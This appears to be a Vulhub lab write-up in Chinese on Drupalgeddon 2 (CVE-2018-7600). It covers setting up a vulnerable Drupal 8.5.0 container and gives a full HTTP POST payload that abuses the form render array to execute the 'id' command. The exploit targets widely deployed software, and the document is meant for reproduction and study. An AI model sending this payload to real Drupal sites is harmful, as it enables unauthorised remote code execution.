Drupal Drupalgeddon 2 遠程代碼執行漏洞(CVE-2018-7600)
Path drupal/CVE-2018-7600
Drupal 是一款用量龐大的CMS,其6/7/8版本的Form API中存在一處遠程代碼執行漏洞。相關分析如下:
漏洞環境
執行如下命令啟動drupal 8.5.0的環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080/將會看到drupal的安裝頁面,一路默認配置下一步安裝。因為沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫。
漏洞復現
參考a2u/CVE-2018-7600,我們向安裝完成的drupal發送如下數據包:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
成功執行代碼,這個代碼最終執行了id命令:

Vulhub 文檔
推薦文章: